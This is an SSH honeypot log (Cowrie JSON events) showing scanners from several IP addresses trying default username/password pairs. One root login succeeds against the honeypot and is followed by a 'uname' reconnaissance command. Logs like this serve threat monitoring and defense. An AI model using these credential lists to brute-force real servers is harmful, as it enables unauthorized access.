{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:35:05.891229Z","src_ip":"27.79.44.181","session":"c5fe34e2f629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":38614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f724ce997c51","protocol":"ssh","message":"New connection: 101.36.108.125:38614 (10.17.0.5:22) [session: f724ce997c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:02.415274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:02.419150Z","src_ip":"101.36.108.125","session":"f724ce997c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:02.633723Z","src_ip":"101.36.108.125","session":"f724ce997c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"123456","message":"login attempt [azureuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:03.528229Z","src_ip":"101.36.108.125","session":"f724ce997c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:04.744983Z","src_ip":"101.36.108.125","session":"f724ce997c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":43598,"dst_ip":"159.203.135.109","dst_port":22,"session":"12bb37449684","protocol":"ssh","message":"New connection: 2.57.122.210:43598 (159.203.135.109:22) [session: 12bb37449684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:24.246187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:24.249891Z","src_ip":"2.57.122.210","session":"12bb37449684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:24.352976Z","src_ip":"2.57.122.210","session":"12bb37449684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:24.663521Z","src_ip":"2.57.122.210","session":"12bb37449684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:25.769374Z","src_ip":"2.57.122.210","session":"12bb37449684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":48798,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fca0b53d395","protocol":"ssh","message":"New connection: 27.79.44.181:48798 (10.17.0.5:22) [session: 5fca0b53d395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:54.658789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:54.765349Z","src_ip":"27.79.44.181","session":"5fca0b53d395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:56.939714Z","src_ip":"27.79.44.181","session":"5fca0b53d395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":48810,"dst_ip":"10.17.0.5","dst_port":22,"session":"0166c3cf2a96","protocol":"ssh","message":"New connection: 27.79.44.181:48810 (10.17.0.5:22) [session: 0166c3cf2a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:59.616363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:59.621094Z","src_ip":"27.79.44.181","session":"0166c3cf2a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:36:59.880623Z","src_ip":"27.79.44.181","session":"0166c3cf2a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:37:00.705504Z","src_ip":"27.79.44.181","session":"0166c3cf2a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:37:01.976313Z","src_ip":"27.79.44.181","session":"0166c3cf2a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin01","message":"login attempt [admin/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:37:14.666965Z","src_ip":"27.79.44.181","session":"5fca0b53d395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.1","message":"Connection lost after 23.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:37:17.753766Z","src_ip":"27.79.44.181","session":"5fca0b53d395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":56836,"dst_ip":"10.17.0.5","dst_port":22,"session":"67cd71d142f3","protocol":"ssh","message":"New connection: 101.36.108.125:56836 (10.17.0.5:22) [session: 67cd71d142f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:04.171869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:04.177785Z","src_ip":"101.36.108.125","session":"67cd71d142f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:04.388668Z","src_ip":"101.36.108.125","session":"67cd71d142f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"sshuser1234","message":"login attempt [sshuser/sshuser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:05.266398Z","src_ip":"101.36.108.125","session":"67cd71d142f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:06.480794Z","src_ip":"101.36.108.125","session":"67cd71d142f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50302,"dst_ip":"10.17.0.5","dst_port":22,"session":"599ba852828e","protocol":"ssh","message":"New connection: 162.120.6.20:50302 (10.17.0.5:22) [session: 599ba852828e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:20.615421Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:20.686919Z","src_ip":"162.120.6.20","session":"599ba852828e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50304,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e8a12037a4","protocol":"ssh","message":"New connection: 162.120.6.20:50304 (10.17.0.5:22) [session: 83e8a12037a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:20.753678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:20.761284Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:20.832228Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"postbox5050$","message":"login attempt [root/postbox5050$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:21.042284Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:21.225666Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:21.229226Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:21.303588Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:21.308524Z","src_ip":"162.120.6.20","session":"83e8a12037a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46318,"dst_ip":"159.203.135.109","dst_port":22,"session":"79eabae28ae6","protocol":"ssh","message":"New connection: 2.57.122.210:46318 (159.203.135.109:22) [session: 79eabae28ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:43.436672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:43.439941Z","src_ip":"2.57.122.210","session":"79eabae28ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:43.543607Z","src_ip":"2.57.122.210","session":"79eabae28ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:43.853864Z","src_ip":"2.57.122.210","session":"79eabae28ae6","protocol":"ssh"}
